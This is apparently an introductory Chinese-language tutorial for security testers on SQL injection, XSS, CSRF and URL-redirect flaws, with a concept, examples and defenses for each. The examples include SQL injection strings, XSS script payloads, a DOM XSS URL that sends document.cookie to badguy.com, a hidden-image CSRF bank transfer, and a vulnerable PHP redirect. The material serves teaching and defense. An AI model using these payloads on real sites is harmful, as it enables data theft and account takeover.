安全测试之需要知道的漏洞入门

SQL 注入

概念

SQL 注入就是通过把恶意 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的 SQL 命令。
根据技术原理，SQL 注入可以分为两大类：

• 平台层注入：由不安全大可数据库配置或数据库平台的漏洞所致。
• 代码层注入：由程序员对输入未进行细致地过滤，从而执行了非法的数据查询。

例子

例如：当我们输入 www.zing.ac.cn?userid=1 时，我们通过 URL 传递变量 userid，并提供值为 1，后端通过 URL 传过来的值拼接 sql 语句在数据库中进行查询：

select userid,username,psw
from user
where userid='1'  

这样我们就能搞点小破坏，通过 URL 注入 sql 语句，www.zing.ac.cn?userid=1'or'1'='1,使后台执行恶意 sql 语句：

select userid,username,psw
from user
where userid='1' or '1'='1'

仅仅通过一个恒真表达式，就能查询到所有 user 的信息。

除此之外，我们还能搞一些更大的破坏，插入、更新和删除表的内容，需要知道表的名称。通过页面的错误提示，我们可以对表名进行猜测，进而实现我们的目标。

通过注入 www.zing.ac.cn?userid=1'or 1=(select count(*) from user)-- 对表名进行猜测，若猜中了，则可以进一步注入插入、更新或删除语句。

防止 SQL 注入

• 永远不要信任用户的输入，要对用户的输入进行校验，可以通过正则表达式，或限制长度，对单引号和双"-"进行转换等。
• 永远不要使用动态拼装 SQL，可以使用参数化的 SQL 或者直接使用存储过程进行数据查询存取。
• 永远不要使用管理员权限的数据库连接，为每个应用使用单独的权限有限的数据库连接。
• 不要把机密信息明文存放，请加密或者 hash 掉密码和敏感的信息。
• 应用的异常信息应该给出尽可能少的提示，最好使用自定义的错误信息对原始错误信息进行包装，把异常信息存放在独立的表中。

XSS 跨站脚本攻击

概念

XSS(Cross site Scripting)跨站脚本攻击，指攻击者在通过某种方式（如评论）在网页中嵌入客户端脚本（如 JavaScript）。但用户浏览此网页时，脚本就会在用户的浏览器上执行，达到攻击者的目标，如获取用户 cookie、携带木马、导航到恶意网站等。

例子

1.例如有一个存在 XSS 漏洞输入框

<input type="text" name="address1" value="value1">

value1 是用户输入，若用户输入：

"/><script>alert("attack")</script><!-

那么前端代码将会变成：

<input type="text" name="address1" value=""/><script>alert("attack")</script><!- ">

用户浏览时，将会弹出一个对话框。

2.Dom-Based XSS
如发现某个页面存在 XSS 漏洞 http://eg.com/search.asp?term=apple
黑客先建立一个网站 http://badguy.com 用来接收偷到的消息。
然后通过邮件或某中方式发给 eg 的用户以下 URL（通常会进行编码使不那么明显）：

http://eg.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>  

当用户点击这个 URL，嵌入在 URL 中的恶意脚本就会在浏览器执行，并把 cookie 发送到 badguy 网站中。

3.Stored XSS
存储式 XSS 漏洞，这中漏洞是广泛的且危害巨大的漏洞。攻击者将脚本上传到 Web 服务器上，使得所有访问该页面的用户都受到该脚本的攻击。

如，黑客发现某论坛 A 上有一个 XSS 漏洞，黑客发表一个帖子，帖子中嵌入恶意 JavaScript 代码。
其他人访问该帖子时，嵌入在帖子中的脚本就会被执行。

防止 XSS 攻击

原则：不要相信用户输入的数据

• 将重要的 cookie 标记为 http only, 这样的话 Javascript 中的 document.cookie 语句就不能获取到 cookie 了.
• 只允许用户输入我们期望的数据。
• 对数据进行 Html Encode 处理。（HtmlEncode：是将 html 源文件中不容许出现的字符进行编码，通常是编码以下字符："<"、">"、"&"、"""、"'"等）
• 过滤或移除特殊的 Html 标签， 例如: <script>, <iframe> 。
• 过滤 JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。

一般的测试方法有：

• 查找传递给客户端的关键变量，如 form 表单，若没有经过 htmlEncode 处理，将可能存在 XSS 漏洞。
• 在网页中能输入的地方或传值的 URL 注入脚本 "/><script>alert("attack")</script><!-，查看是否弹出对话框。
• 使用自动化工具扫描 XSS 漏洞。

CSRF 跨站请求伪造

概念

CSRF（Corss-site request forgery），跨站请求伪造。其基本思路是，盗用者在你不知情的情况下，以你的名义发送恶意请求，如发送消息，发送邮件，购买商品等。
该种方式是最不引起重视，然而危害却是最大的漏洞之一。

例子

其攻击基本过程如下：

1. 用户 C 浏览并登录某银行网站 A，假设网站 A 以 GET 的方式完成银行转账操作，http://www.mybank.com/Transfer.php?toBankId=11&money=1000(即使是 post 也是一样的)
2. 验证通过，在用户 C 浏览器产生 A 的 cookie
3. 在没有登出网站 A 的情况下，访问危险网站 B，网站 B 以某种方式隐藏了请求，如 <img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
4. 用户在不知情的情况下，触发网站 B 上访问银行网站 A 的请求
5. 浏览器携带 2 产生的 cookie，发送请求到银行网站 A
6. 由于请求携带用户 C 的 cookie，银行网站 A 认为该请求是用户的请求，执行该请求。

防止 CSRF 攻击

• 页面产生一个随机 hash 值，页面中所有表单都覆盖该值，在服务端处理时校验该随机值。
• 验证码。
• 不同表单产生不同随机值。

我们可以随便打开一个 Discuz 论坛，都可以发现其发帖回帖功能，都用到了页面 hash 和验证码来防止 CSRF 攻击。

URL 重定向漏洞

概念

服务端未对传入的跳转 URL 变量进行检查和控制，可能导致恶意构造一个恶意网站，借助可信网站 URL 有道用户跳转到恶意网站。
由于是从可信的站点跳转出去的，用户会比较信任，所以跳转漏洞一般用于钓鱼攻击，伪造可信网站欺骗用户输入用户名密码等重要信息，或欺骗用户进行金钱交易等。

对于 URL 跳转一般会有以下几种实现方式：

• META 标签内跳转
• javascript 跳转
• header 头跳转

由于网站通常需要根据上下文决定跳转的 URL，通过 GET 或者 POST 方法接收将要跳转的 URL，通过以上几种方式进行跳转。

例子

例如一个简单的例子，跳转页面代码如下：

<?php
$url=$_GET['jumpto'];
header("Location: $url");
?>

如果 jumpto 没有经过任何限制，恶意用户可以伪造 URL：

http://www.wooyun.org/login.php?jumpto=http://www.evil.com

该 URL 会导致跳转到恶意网站。由于是借助可信域名进行跳转，通常用户会被欺骗，且 QQ、旺旺等在线 IM 都是基于 URL 进行过滤，很可能会被认为是白名单中的 URL，被认为是可信网址。

防止 URL 跳转漏洞

• 若跳转 URL 是可以事先确定，现在后台配置号，通过接收索引确定跳转 URL
• 若跳转 URL 无法事先确定，但是是根据后台的处理逻辑生成的（非用户输入），可以生成跳转连接然后进行签名。
• 若不满足前两项，则必须对用户的输入做严格的限制或校验。